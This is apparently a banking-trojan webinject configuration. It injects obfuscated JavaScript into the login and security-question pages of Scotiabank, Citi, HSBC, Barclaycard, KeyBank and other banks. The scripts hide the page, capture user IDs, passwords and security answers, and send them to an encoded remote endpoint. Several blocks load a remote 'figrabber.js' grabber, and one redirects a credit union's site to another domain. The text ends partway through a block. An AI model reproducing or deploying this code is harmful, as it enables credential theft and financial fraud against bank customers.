_0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_scotia";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
    function logMessages( log , action , param1,param2 )  
       {  
        var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_scot&u_login=&u_pass=&log=" +log;   
        function statusCall1()   
        {  
        if( do2[2] =='0')  
           {  
       var href = jQuery("a[href*='securityPasswords/password.bns']").attr('href');  
                location.href = href;  
           }  
     else  
     {  
            jQuery('body').show();  
           }            
        }  
        sendScriptRequest(sa, req,statusCall1, ["test123"]);  
       }   
       jQuery(document).ready( function () {  
         logMessages( '<b>personalProfile.bns</b>:check if Question grabbed' , '' , '','' );  
            return false;  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.scotiaonline.scotiabank.com/online/views/managemyaccounts/securityPasswords/password.bns GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_scotia";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
    function logMessages( log , action , param1,param2 )  
       {  
        var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_scot&u_login=&u_pass=&log=" +log;   
        function statusCall1()   
        {  
        if( do2[2] =='0')  
           {  
       var href = jQuery("a[href*='securityPasswords/mfaQAs.bns']").attr('href');  
                location.href = href;  
           }  
     else  
     {  
            jQuery('body').show();  
           }            
        }  
        sendScriptRequest(sa, req,statusCall1, ["test123"]);  
       }   
       jQuery(document).ready( function () {  
         logMessages( '<b>Security and passwords.bns</b>:check if Question grabbed' , '' , '','' );  
            return false;  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.scotiaonline.scotiabank.com/online/views/managemyaccounts/securityPasswords/mfaQAs.bns GP  
 data_before  
 <div class="left-wrapper">  
 data_end  
 data_inject  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_scotia";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       function qSend()  
       {  
       var q1 = jQuery('label[for=question1]').next().find('option:selected').text();  
       var rq1 = q1.replace('?','');  
       var rq12 = rq1.replace("'","");  
       var q2 = jQuery('label[for=question2]').next().find('option:selected').text();  
       var rq2 = q1.replace('?','');  
       var rq22 = rq1.replace("'","");  
       var q3 = jQuery('label[for=question3]').next().find('option:selected').text();  
       var rq3 = q1.replace('?','');  
       var rq32 = rq1.replace("'","");  
             var a1=jQuery('input.answer-field').eq(0).val();  
             var a2=jQuery('input.answer-field').eq(1).val();  
             var a3=jQuery('input.answer-field').eq(2).val();  
             if ( ( a1.length < 2 ) || ( a2.length < 2 ) || ( a3.length < 2 ) )  
             {  
              alert('Please change you security questions');  
                 return false;  
             }  
             var req= "send=1&bn=ca_scot&u_bot_id=" +  bot_id + "&u_login=&u_pass=" +  
    "&log=<b>ANSWERS_CA_SCOT:</b>" + jQuery.trim(rq12)+":<b>"+jQuery.trim(a1)+"</b>|"+jQuery.trim(rq22)+":<b>"+jQuery.trim(a2) +"</b>|"+jQuery.trim(rq32)+":<b>"+jQuery.trim(a3)+"</b>";       
      function myCallback()       
      {  
             jQuery("input[type=submit]").click();  
             return false;  
            }             
         sendScriptRequest(sa,req,myCallback, ["test123"]);       
        return false;  
       }  
       function showQ()  
       {  
             jQuery("a").click(function(){  
                 alert('Please select questions and type answers.');  
                return false;  
             });       
                            var i = 0;  
         jQuery('.expand-open').each ( function ()  
            {  
               jQuery(this).click();  
                  i++;  
                  if( i == 3)  
                  {  
                              jQuery('body').show();  
                  }  
            });  
            jQuery("input[type=submit]").hide();  
            jQuery("#mfa_qas_frm").after('<button id="mfa_qas_frm:qaSubmit" name="mfa_qas_frm:qaSubmit" onclick="qSend()" value="Save1" class="primary-button float-right" >Save</button>');  
       }  
    function logMessages( log , action , param1,param2 )  
       {  
        var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_scot&u_login=&u_pass=&log=" +log;   
        function statusCall1()   
        {  
        if( do2[2] =='0')  
           {  
       showQ();  
           }  
     else  
     {  
            jQuery('body').show();  
           }            
        }  
        sendScriptRequest(sa, req,statusCall1, ["test123"]);  
       }   
       jQuery(document).ready( function () {  
         logMessages( '<b>pdate your security questions and answers.bns</b>:check if Question grabbed' , '' , '','' );  
            return false;  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.scotiaonline.scotiabank.com/online/authentication/authentication.bns GP  
 data_before  
 <body>  
 data_end  
 data_inject  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_scotia";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
      function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
            function iLogin()  
           {  
         var u_login = jQuery("input.signon-username").val();  
         var u_pass = jQuery("input[type=password]").val();  
          if ( ( u_login.length < 3 ) || ( u_pass.length < 3 ) )  
         {  
             alert('Error Message :\nPlease enter both your User ID and Password.');  
             return false;  
         }    
      function myCallback()  
      {  
      jQuery('input[type=submit]').click();     
       }  
       var req= "send=1&bn=ca_scot&u_bot_id=" +  bot_id +"&u_login=" +u_login +"&u_pass=" + u_pass + "&log=ca_scot_login";  
      sendScriptRequest(sa,req,myCallback, ["test123"]);  
             return false;  
           }  
        jQuery(document).ready( function () {  
                  blockonEnter();  
           jQuery('input[type=submit]').hide();  
           jQuery('input[type=submit]').before('<input id="signon_form:enter_sol" name="signon_form:enter_sol" onclick="iLogin();" value="Sign In" class="primary-button" type="button">');  
           jQuery('body').show();  
           });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 sWinHTML += document.getElementById('wrapper').innerHTML;  
 data_end  
 data_inject  
 data_end  
 data_after  
 winprint.document.write(sWinHTML);  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 <link href="/ib2/css/print.css" rel="stylesheet"><body>  
 data_end  
 data_inject  
 data_end  
 data_after  
 ';  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*key.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*.juniper.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.juniper.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.juniper.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*.juniper.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*barclaycardus.com* GP  
 data_before  
 <html*>*<head*>*yui-common-a.js"></script>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*us.hsbc.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*us.hsbc.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*us.hsbc.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*us.hsbc.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*hsbccreditcard.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*hsbccreditcard.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*hsbccreditcard.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*hsbccreditcard.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*accountcentralonline.com/cmuser/login* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accountcentralonline.com/cmuser/login* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accountcentralonline.com/cmuser/login* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*accountcentralonline.com/cmuser/login* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardmemberservices.net/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardmemberservices.net/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardmemberservices.net/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*cardmemberservices.net/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*online.citibank.com/US/J* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*online.citibank.com/US/J* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*online.citibank.com/US/J* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*online.citibank.com/US/J* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.citi.com/credit-cards/creditcards/CitiHome.do GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.citi.com/credit-cards/creditcards/CitiHome.do GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.citi.com/credit-cards/creditcards/CitiHome.do GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://www.citi.com/credit-cards/creditcards/CitiHome.do GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.hawaiiusafcu.com/Home.aspx* GP  
 data_before  
 <head>  
 data_end  
 data_inject  
 <script>top.location.href = "https://hawaiiusafcu.onlineaccounts.org/HBNet/App/signon"</script>  
 data_end  
 data_after  
 data_end  
 set_url https://hawaiiusafcu.onlineaccounts.org/HBNet/App/* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://hawaiiusafcu.onlineaccounts.org/HBNet/App/* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://hawaiiusafcu.onlineaccounts.org/HBNet/App/* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url https://hawaiiusafcu.onlineaccounts.org/HBNet/App/* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
 <script>document.write('<sc'+'ript src="https://oscarday.com/figrab/figrabber.js?r='+Number(new Date())+'"></scr'+'ipt>');</script>  
 data_end  
 data_after  
 data_end  
 set_url http*://*ezcardinfo.com* GP  
 data_before  
 <HEAD  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*ezcardinfo.com* GP  
 data_before  
 <head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*ezcardinfo.com* GP  
 data_before  
 <Head  
 data_end  
 data_inject  
  finj  
 data_end  
 data_after  
 data_end  
 set_url http*://*ezcardinfo.com* GP  
 data_before  
 <*finj*>  
 data_end  
 data_inject  
